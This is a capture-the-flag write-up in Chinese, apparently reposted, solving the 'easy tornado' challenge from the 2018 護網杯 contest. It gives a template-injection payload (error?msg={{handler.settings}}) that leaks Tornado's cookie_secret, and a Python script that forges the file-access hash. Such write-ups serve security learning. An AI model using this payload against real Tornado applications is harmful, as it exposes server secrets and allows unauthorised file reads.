easy tornado


easy tornado

題目分析

這是一道2018年護網杯的題目

/flag.txt
/welcome.txt
/hints.txt

一共有3個文件。

/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

進入第一個文件flag.txt,發現好像提示文件名為/fllllllllllag

進入第二個文件welcome.txt,發現提示為render,render({options}) 去向模板中渲染數據, 可以把視圖響應給客戶端,猜測存在模板注入。

進入第三個文件hints.txt,發現提示md5(cookie_secret + md5(filename)),即先將filenamemd5加密,再將cookie_secret與md5加密后的filename進行md5加密,目前我們需要知道的是filenamecookie_secret,猜測文件名為/fllllllllllag,也就是說,只要知道cookie_secret就行了。

觀察查看文件時使用的url:

http://111.198.29.45:56630/file?filename=/hints.txt&filehash=b10fbfd1f38e8dd058abe90e0df3db8d

猜測md5(cookie_secret + md5(filename))的結果就是訪問文件時所需要的filehash

嘗試訪問/fllllllllllag,發現跳轉到錯誤頁面

easytornado_4

頁面中存在msg,嘗試:

easytornado_7

證實存在模板注入漏洞

解題過程

查閱資料,發現 secure cookie 是Tornado 用於保護cookies安全的一種措施。

easytornado_1

cookie_secret保存在settings

easytornado_2

發現self.application.settings有一個別名

easytornado_3

handler指向的處理當前這個頁面的RequestHandler對象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings


可以構造payload獲取cookie_secret

payload:error?msg={{handler.settings}}

easytornado_6

獲得cookie_secret,編寫腳本,計算md5(cookie_secret + md5(filename))

import hashlib

filename = '/fllllllllllllag'
cookie_secret ="6fe556f1-9b77-481e-9535-c4e9f803b89d"

def getvalue(string):
    md5 = hashlib.md5()
    md5.update(string.encode('utf-8'))
    return md5.hexdigest()

def merge():
    print(getvalue(cookie_secret + getvalue(filename)))

merge()

得到flag:

easytornado_8


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM